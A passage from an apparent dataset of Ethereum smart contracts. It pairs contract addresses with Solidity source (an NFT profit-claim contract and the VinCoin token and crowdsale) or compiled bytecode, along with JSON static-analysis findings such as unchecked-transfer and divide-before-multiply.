8192505b5050919050565b600080828401905083811015151561231457fe5b8091505092915050565b6000600a60009054906101000a900460ff1615151561233c57600080fd5b61238e83600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230090919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242383600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125f090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b6000600181111561253157fe5b600a60019054906101000a900460ff16600181111561254c57fe5b14151561255857600080fd5b6125aa34600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230090919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008282111515156125fe57fe5b818303905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561266757600080fd5b600a60009054906101000a900460ff1615151561268357600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000806000804292506126e3836113e8565b915060009050600282101561297b5761273a670de0b6b3a764000061272c600060ff16600a0a61271e600b548a61298790919063ffffffff16565b61298790919063ffffffff16565b6129ba90919063ffffffff16565b905080600060ff16600a0a6103e802111580156127625750600060ff16600a0a620186a00281105b156127915761278e606461278060658461298790919063ffffffff16565b6129ba90919063ffffffff16565b90505b80600060ff16600a0a620186a002111580156127b85750600060ff16600a0a620f42400281105b156127e9576127e66103e86127d86103f78461298790919063ffffffff16565b6129ba90919063ffffffff16565b90505b80600060ff16600a0a620f424002111580156128105750600060ff16600a0a624c4b400281105b156128415761283e6103e86128306104018461298790919063ffffffff16565b6129ba90919063ffffffff16565b90505b80600060ff16600a0a624c4b4002111580156128685750600060ff16600a0a628954400281105b1561289757612894606461288660698461298790919063ffffffff16565b6129ba90919063ffffffff16565b90505b80600060ff16600a0a62895440021115156128d6576128d360646128c5606e8461298790919063ffffffff16565b6129ba90919063ffffffff16565b90505b600082141561297a576129086103e86128fa6104328461298790919063ffffffff16565b6129ba90919063ffffffff16565b9050600f546129228260095461230090919063ffffffff16565b1115612972577f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b6260095482604051808381526020018281526020019250505060405180910390a16000935061297f565b80935061297f565b5b8093505b505050919050565b600080828402905060008414806129a857508284828115156129a557fe5b04145b15156129b057fe5b8091505092915050565b60008082848115156129c857fe5b04905080915050929150505600a165627a7a7230582081e84e183c24b5973675dd95f776077c9fc5ac991114f3706dc52de09bb2f22f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,545
0xd107b68859ba5280bb1328ee21d319c083986fc0
// SPDX-License-Identifier: MIT pragma solidity 0.8.2; interface IERC20Token { function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); } interface IERC721 { function setPaymentDate(uint256 _asset) external; function getTokenDetails(uint256 index) external view returns (uint32 aType, uint32 customDetails, uint32 lastTx, uint32 lastPayment, uint256 initialvalue, string memory coin); function ownerOf(uint256 tokenId) external view returns (address owner); function balanceOf(address _owner) external view returns (uint256); } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable { address private owner; event OwnerSet(address indexed oldOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner, "Caller is not owner"); _; } constructor() { owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor emit OwnerSet(address(0), owner); } function changeOwner(address newOwner) public onlyOwner { emit OwnerSet(owner, newOwner); owner = newOwner; } function getOwner() external view returns (address) { return owner; } } contract PolkaProfitContract is Ownable { event Payment(address indexed _from, uint256 _amount, uint8 network); bool public paused; struct Claim { address account; uint8 dNetwork; // 1= Ethereum 2= BSC uint256 assetId; uint256 amount; uint256 date; } Claim[] public payments; mapping (address => bool) public blackListed; mapping (uint256 => uint256) public weeklyByType; address public nftAddress = 0xB20217bf3d89667Fa15907971866acD6CcD570C8; address public tokenAddress = 0xaA8330FB2B4D5D07ABFE7A72262752a8505C6B37; address payable public walletAddress; uint256 public gasFee = 1000000000000000; uint256 wUnit = 1 weeks; constructor() { weeklyByType[20] = 18 ether; weeklyByType[22] = 4 ether; weeklyByType[23] = 3 ether; weeklyByType[25] = 1041 ether; weeklyByType[26] = 44 ether; weeklyByType[29] = 3125 ether; weeklyByType[30] = 29 ether; weeklyByType[31] = 5 ether; weeklyByType[32] = 20 ether; weeklyByType[34] = 10 ether; weeklyByType[36] = 70 ether; weeklyByType[37] = 105 ether; weeklyByType[38] = 150 ether; weeklyByType[39] = 600 ether; weeklyByType[40] = 20 ether; walletAddress = payable(0xeA50CE6EBb1a5E4A8F90Bfb35A2fb3c3F0C673ec); } function profitsPayment(uint256 _assetId) public returns (bool success) { require(paused == false, "Contract is paused"); IERC721 nft = IERC721(nftAddress); address assetOwner = nft.ownerOf(_assetId); require(assetOwner == msg.sender, "Only asset owner can claim profits"); require(blackListed[assetOwner] == false, "This address cannot claim profits"); (uint256 totalPayment, ) = calcProfit(_assetId); require (totalPayment > 0, "You need to wait at least 1 week to claim"); nft.setPaymentDate(_assetId); IERC20Token token = IERC20Token(tokenAddress); require(token.transferFrom(walletAddress, assetOwner, totalPayment), "ERC20 transfer fail"); Claim memory thisclaim = Claim(msg.sender, 1, _assetId, totalPayment, block.timestamp); payments.push(thisclaim); emit Payment(msg.sender, totalPayment, 1); return true; } function profitsPaymentBSC(uint256 _assetId) public payable returns (bool success) { require(paused == false, "Contract is paused"); require(msg.value >= gasFee, "Gas fee too low"); IERC721 nft = IERC721(nftAddress); address assetOwner = nft.ownerOf(_assetId); require(assetOwner == msg.sender, "Only asset owner can claim profits"); require(blackListed[assetOwner] == false, "This address cannot claim profits"); (uint256 totalPayment, ) = calcProfit(_assetId); require (totalPayment > 0, "You need to wait at least 1 week to claim"); nft.setPaymentDate(_assetId); Address.sendValue(walletAddress, msg.value); Claim memory thisclaim = Claim(msg.sender, 2, _assetId, totalPayment, block.timestamp); payments.push(thisclaim); emit Payment(msg.sender, totalPayment, 2); return true; } function calcProfit(uint256 _assetId) public view returns (uint256 _profit, uint256 _lastPayment) { IERC721 nft = IERC721(nftAddress); (uint32 assetType,, uint32 lastTransfer, uint32 lastPayment,, ) = nft.getTokenDetails(_assetId); uint256 cTime = block.timestamp - lastTransfer; uint256 dTime = 0; if (lastTransfer < lastPayment) { dTime = lastPayment - lastTransfer; } if ((cTime) < wUnit) { return (0, lastTransfer); } else { uint256 weekCount; if (dTime == 0) { weekCount = ((cTime)/(wUnit)); } else { weekCount = ((cTime)/(wUnit)) - (dTime)/(wUnit); } if (weekCount < 1) { return (0, lastPayment); } else { uint256 totalPayment; totalPayment = ((weekCount * weeklyByType[assetType])); return (totalPayment, lastPayment); } } } function calcTotalEarnings(uint256 _assetId) public view returns (uint256 _profit, uint256 _lastPayment) { IERC721 nft = IERC721(nftAddress); (uint32 assetType,, uint32 lastTransfer,,, ) = nft.getTokenDetails(_assetId); uint256 timeFrame = block.timestamp - lastTransfer; if (timeFrame < wUnit) { return (0, lastTransfer); } else { uint256 weekCount = timeFrame/(wUnit); uint256 totalPayment; totalPayment = ((weekCount * weeklyByType[assetType])); return (totalPayment, lastTransfer); } } function pauseContract(bool _paused) public onlyOwner { paused = _paused; } function blackList(address _wallet, bool _blacklist) public onlyOwner { blackListed[_wallet] = _blacklist; } function paymentCount() public view returns (uint256 _paymentCount) { return payments.length; } function paymentDetail(uint256 _paymentIndex) public view returns (address _to, uint8 _network, uint256 assetId, uint256 _amount, uint256 _date) { Claim memory thisPayment = payments[_paymentIndex]; return (thisPayment.account, thisPayment.dNetwork, thisPayment.assetId, thisPayment.amount, thisPayment.date); } function addType(uint256 _aType, uint256 _weekly) public onlyOwner { weeklyByType[_aType] = _weekly; } function setGasFee(uint256 _gasFee) public onlyOwner { gasFee = _gasFee; } function setWalletAddress(address _wallet) public onlyOwner { walletAddress = payable(_wallet); } }
0x60806040526004361061012a5760003560e01c806387d81789116100ab578063ac1a386a1161006f578063ac1a386a14610388578063bbde5b25146103a8578063bcdd9af7146103d8578063c23268b7146103f8578063d125d2681461040b578063e272b8921461042b5761012a565b806387d81789146102ea578063893d20e81461030a5780639c8e841d146103285780639d76ea5814610348578063a6f9dae1146103685761012a565b8063658612e9116100f2578063658612e914610211578063678edca3146102275780636ad5b3ea146102495780636cd10af5146102695780636d6ba526146102bd5761012a565b80630937e68a1461012f5780632cf18bb4146101535780635bf8633a146101885780635c975abb146101c0578063643b9340146101f1575b600080fd5b34801561013b57600080fd5b506001545b6040519081526020015b60405180910390f35b34801561015f57600080fd5b5061017361016e3660046112f0565b61044b565b6040805192835260208301919091520161014a565b34801561019457600080fd5b506004546101a8906001600160a01b031681565b6040516001600160a01b03909116815260200161014a565b3480156101cc57600080fd5b506000546101e190600160a01b900460ff1681565b604051901515815260200161014a565b3480156101fd57600080fd5b5061017361020c3660046112f0565b6105e0565b34801561021d57600080fd5b5061014060075481565b34801561023357600080fd5b506102476102423660046112f0565b6106f1565b005b34801561025557600080fd5b506006546101a8906001600160a01b031681565b34801561027557600080fd5b506102896102843660046112f0565b610729565b604080516001600160a01b03909616865260ff9094166020860152928401919091526060830152608082015260a00161014a565b3480156102c957600080fd5b506101406102d83660046112f0565b60036020526000908152604090205481565b3480156102f657600080fd5b506102896103053660046112f0565b6107c7565b34801561031657600080fd5b506000546001600160a01b03166101a8565b34801561033457600080fd5b50610247610343366004611280565b610816565b34801561035457600080fd5b506005546101a8906001600160a01b031681565b34801561037457600080fd5b50610247610383366004611241565b61086b565b34801561039457600080fd5b506102476103a3366004611241565b6108f0565b3480156103b457600080fd5b506101e16103c3366004611241565b60026020526000908152604090205460ff1681565b3480156103e457600080fd5b506101e16103f33660046112f0565b61093c565b6101e16104063660046112f0565b610d20565b34801561041757600080fd5b50610247610426366004611308565b61108b565b34801561043757600080fd5b506102476104463660046112b8565b6110c7565b6004805460405163183c06e560e31b815291820183905260009182916001600160a01b031690829081908190849063c1e037289060240160006040518083038186803b15801561049a57600080fd5b505afa1580156104ae573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104d69190810190611329565b50509350935050925060008263ffffffff16426104f39190611578565b905060008263ffffffff168463ffffffff16101561051e57610515848461158f565b63ffffffff1690505b60085482101561053f575060009650505063ffffffff1692506105db915050565b60008161055a576008546105539084611539565b9050610581565b6008546105679083611539565b6008546105749085611539565b61057e9190611578565b90505b60018110156105a2575060009750505063ffffffff1693506105db92505050565b63ffffffff86166000908152600360205260408120546105c29083611559565b99505063ffffffff90931696506105db95505050505050565b915091565b6004805460405163183c06e560e31b815291820183905260009182916001600160a01b03169082908190839063c1e037289060240160006040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106699190810190611329565b505050925050915060008163ffffffff16426106859190611578565b90506008548110156106a657506000945063ffffffff1692506105db915050565b6000600854826106b69190611539565b63ffffffff8516600090815260036020526040812054919250906106da9083611559565b97505063ffffffff90921694506105db9350505050565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161071b90611440565b60405180910390fd5b600755565b6000806000806000806001878154811061075357634e487b7160e01b600052603260045260246000fd5b60009182526020918290206040805160a08101825260049390930290910180546001600160a01b038116808552600160a01b90910460ff16948401859052600182015492840183905260028201546060850181905260039092015460809094018490529b939a509098509650945092505050565b600181815481106107d757600080fd5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b0383169450600160a01b90920460ff1692909185565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161071b90611440565b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108955760405162461bcd60e51b815260040161071b90611440565b600080546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461091a5760405162461bcd60e51b815260040161071b90611440565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60008054600160a01b900460ff161561098c5760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b604482015260640161071b565b600480546040516331a9108f60e11b81529182018490526001600160a01b0316906000908290636352211e9060240160206040518083038186803b1580156109d357600080fd5b505afa1580156109e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0b9190611264565b90506001600160a01b0381163314610a355760405162461bcd60e51b815260040161071b9061146d565b6001600160a01b03811660009081526002602052604090205460ff1615610a6e5760405162461bcd60e51b815260040161071b906114f8565b6000610a798561044b565b50905060008111610a9c5760405162461bcd60e51b815260040161071b906114af565b60405163a1cfb5ed60e01b8152600481018690526001600160a01b0384169063a1cfb5ed90602401600060405180830381600087803b158015610ade57600080fd5b505af1158015610af2573d6000803e3d6000fd5b50506005546006546040516323b872dd60e01b81526001600160a01b039182166004820152868216602482015260448101869052911692508291506323b872dd90606401602060405180830381600087803b158015610b5057600080fd5b505af1158015610b64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8891906112d4565b610bca5760405162461bcd60e51b8152602060048201526013602482015272115490cc8c081d1c985b9cd9995c8819985a5b606a1b604482015260640161071b565b6040805160a08101825233808252600160208084018281528486018c8152606086018981524260808801908152855480870187556000879052885160049091027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf681018054965160ff16600160a01b0260ff60a01b196001600160a01b039094166001600160a01b0319909816979097179290921695909517905591517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7840155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8830155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf990910155845187815290810191909152919290917f34f914f46f0a40eb0e7b1396063b87a1819f28ed7b5a63829d59f41eba61a1ae910160405180910390a26001955050505050505b919050565b60008054600160a01b900460ff1615610d705760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b604482015260640161071b565b600754341015610db45760405162461bcd60e51b815260206004820152600f60248201526e4761732066656520746f6f206c6f7760881b604482015260640161071b565b600480546040516331a9108f60e11b81529182018490526001600160a01b0316906000908290636352211e9060240160206040518083038186803b158015610dfb57600080fd5b505afa158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e339190611264565b90506001600160a01b0381163314610e5d5760405162461bcd60e51b815260040161071b9061146d565b6001600160a01b03811660009081526002602052604090205460ff1615610e965760405162461bcd60e51b815260040161071b906114f8565b6000610ea18561044b565b50905060008111610ec45760405162461bcd60e51b815260040161071b906114af565b60405163a1cfb5ed60e01b8152600481018690526001600160a01b0384169063a1cfb5ed90602401600060405180830381600087803b158015610f0657600080fd5b505af1158015610f1a573d6000803e3d6000fd5b5050600654610f3592506001600160a01b031690503461110f565b6040805160a08101825233808252600260208084018281528486018b8152606086018881524260808801908152600180548082018255600091909152885160049091027fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf681018054965160ff16600160a01b0260ff60a01b196001600160a01b039094166001600160a01b0319909816979097179290921695909517905591517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7840155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf8830155517fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf990910155845186815290810191909152919290917f34f914f46f0a40eb0e7b1396063b87a1819f28ed7b5a63829d59f41eba61a1ae910160405180910390a250600195945050505050565b6000546001600160a01b031633146110b55760405162461bcd60e51b815260040161071b90611440565b60009182526003602052604090912055565b6000546001600160a01b031633146110f15760405162461bcd60e51b815260040161071b90611440565b60008054911515600160a01b0260ff60a01b19909216919091179055565b8047101561115f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161071b565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146111ac576040519150601f19603f3d011682016040523d82523d6000602084013e6111b1565b606091505b50509050806112285760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161071b565b505050565b805163ffffffff81168114610d1b57600080fd5b600060208284031215611252578081fd5b813561125d816115e0565b9392505050565b600060208284031215611275578081fd5b815161125d816115e0565b60008060408385031215611292578081fd5b823561129d816115e0565b915060208301356112ad816115f8565b809150509250929050565b6000602082840312156112c9578081fd5b813561125d816115f8565b6000602082840312156112e5578081fd5b815161125d816115f8565b600060208284031215611301578081fd5b5035919050565b6000806040838503121561131a578182fd5b50508035926020909101359150565b60008060008060008060c08789031215611341578182fd5b61134a8761122d565b9550602061135981890161122d565b95506113676040890161122d565b94506113756060890161122d565b93506080880151925060a088015167ffffffffffffffff80821115611398578384fd5b818a0191508a601f8301126113ab578384fd5b8151818111156113bd576113bd6115ca565b604051601f8201601f19908116603f011681019083821181831017156113e5576113e56115ca565b816040528281528d868487010111156113fc578687fd5b8693505b8284101561141d5784840186015181850187015292850192611400565b8284111561142d57868684830101525b8096505050505050509295509295509295565b60208082526013908201527221b0b63632b91034b9903737ba1037bbb732b960691b604082015260600190565b60208082526022908201527f4f6e6c79206173736574206f776e65722063616e20636c61696d2070726f6669604082015261747360f01b606082015260800190565b60208082526029908201527f596f75206e65656420746f2077616974206174206c656173742031207765656b60408201526820746f20636c61696d60b81b606082015260800190565b60208082526021908201527f5468697320616464726573732063616e6e6f7420636c61696d2070726f6669746040820152607360f81b606082015260800190565b60008261155457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611573576115736115b4565b500290565b60008282101561158a5761158a6115b4565b500390565b600063ffffffff838116908316818110156115ac576115ac6115b4565b039392505050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146115f557600080fd5b50565b80151581146115f557600080fdfea2646970667358221220bde4d787106554db2ed36519d4a97c22b4d4a2dc5aed660c4082023bb074837364736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,546
0x9ef15d682f48b23bed7612bbc21b61160e628ea5
pragma solidity ^0.4.20; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable, BurnableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); string public name = "VinCoin"; string public symbol = "VNC"; uint public decimals = 18; uint256 public constant INITIAL_SUPPLY = 30000000 * (10 ** 18); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function MintableToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; // amount of tokens that were sold uint256 public tokensSold; // Hard cap in VNC tokens uint256 constant public hardCap = 24000000 * (10**18); /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, address _wallet, MintableToken tokenContract) public { require(_startTime >= now); require(_endTime >= _startTime); require(_wallet != 0x0); startTime = _startTime; endTime = _endTime; wallet = _wallet; token = tokenContract; } function setNewTokenOwner(address newOwner) public onlyOwner { token.transferOwnership(newOwner); } function createTokenOwner() internal returns (MintableToken) { return new MintableToken(); } function () external payable { buyTokens(msg.sender); } /** * 